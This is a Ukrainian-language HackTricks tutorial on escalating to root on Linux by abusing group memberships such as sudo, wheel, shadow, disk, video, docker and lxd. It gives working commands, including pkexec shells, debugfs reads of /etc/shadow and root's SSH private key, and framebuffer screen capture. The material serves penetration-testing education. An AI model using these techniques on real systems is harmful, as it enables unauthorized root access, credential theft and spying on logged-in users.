9.9 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Sudo/Admin Groups
PE - Метод 1
Іноді, за замовчуванням (або через те, що деяке програмне забезпечення цього потребує) всередині файлу /etc/sudoers ви можете знайти деякі з цих рядків:
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
Це означає, що будь-який користувач, який належить до групи sudo або admin, може виконувати будь-що як sudo.
Якщо це так, щоб стати root, ви можете просто виконати:
sudo su
PE - Метод 2
Знайдіть всі suid бінарні файли та перевірте, чи є бінарний файл Pkexec:
find / -perm -4000 2>/dev/null
Якщо ви виявите, що двійковий файл pkexec є SUID двійковим файлом і ви належите до sudo або admin, ви, ймовірно, зможете виконувати двійкові файли як sudo, використовуючи pkexec.
Перевірте вміст:
cat /etc/polkit-1/localauthority.conf.d/*
Там ви знайдете, які групи мають право виконувати pkexec і за замовчуванням в деяких linux можуть з'явитися деякі з груп sudo або admin.
Щоб стати root, ви можете виконати:
pkexec "/bin/sh" #You will be prompted for your user password
Якщо ви намагаєтеся виконати pkexec і отримуєте цю помилку:
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
Це не тому, що у вас немає дозволів, а тому, що ви не підключені без GUI. І є обхідний шлях для цієї проблеми тут: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. Вам потрібно 2 різні ssh сесії:
{% code title="session1" %}
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
{% endcode %}
{% code title="session2" %}
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
{% endcode %}
Wheel Group
Іноді, за замовчуванням у файлі /etc/sudoers ви можете знайти цей рядок:
%wheel ALL=(ALL:ALL) ALL
Це означає, що будь-який користувач, який належить до групи wheel, може виконувати будь-що як sudo.
Якщо це так, щоб стати root, ви можете просто виконати:
sudo su
Shadow Group
Користувачі з групи shadow можуть читати файл /etc/shadow:
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
Отже, прочитайте файл і спробуйте зламати деякі хеші.
Дискова група
Ця привілегія майже еквівалентна доступу root, оскільки ви можете отримати доступ до всіх даних всередині машини.
Файли:/dev/sd[a-z][1-9]
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
Зверніть увагу, що за допомогою debugfs ви також можете записувати файли. Наприклад, щоб скопіювати /tmp/asd1.txt
до /tmp/asd2.txt
, ви можете зробити:
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
Однак, якщо ви спробуєте записати файли, що належать root як `/etc/shadow` або `/etc/passwd`
, ви отримаєте помилку "Доступ заборонено".
Група відео
Використовуючи команду w
, ви можете дізнатися, хто увійшов в систему, і вона покаже вихід, подібний до наступного:
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
tty1 означає, що користувач yossi фізично увійшов до терміналу на машині.
Група video має доступ до перегляду виходу екрану. В основному, ви можете спостерігати за екранами. Щоб це зробити, вам потрібно захопити поточне зображення на екрані в сирих даних і отримати роздільну здатність, яку використовує екран. Дані екрану можна зберегти в /dev/fb0
, а роздільну здатність цього екрану можна знайти в /sys/class/graphics/fb0/virtual_size
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
Щоб відкрити сирий образ, ви можете використовувати GIMP, вибрати файл screen.raw
і вибрати тип файлу Сирі дані зображення:
Потім змініть Ширину та Висоту на ті, що використовуються на екрані, і перевірте різні Типи зображень і виберіть той, який краще відображає екран
:
Група Root
Схоже, що за замовчуванням члени групи root можуть мати доступ до модифікації деяких конфігураційних файлів сервісів або деяких файлів бібліотек або інших цікавих речей, які можуть бути використані для ескалації привілеїв...
Перевірте, які файли можуть модифікувати члени root:
find / -group root -perm -g=w 2>/dev/null
Docker Group
Ви можете змонтувати кореневу файлову систему хост-машини до обсягу екземпляра, тому, коли екземпляр запускається, він відразу завантажує chroot
у цей обсяг. Це ефективно надає вам root на машині.
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
lxc/lxd Group
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримати HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.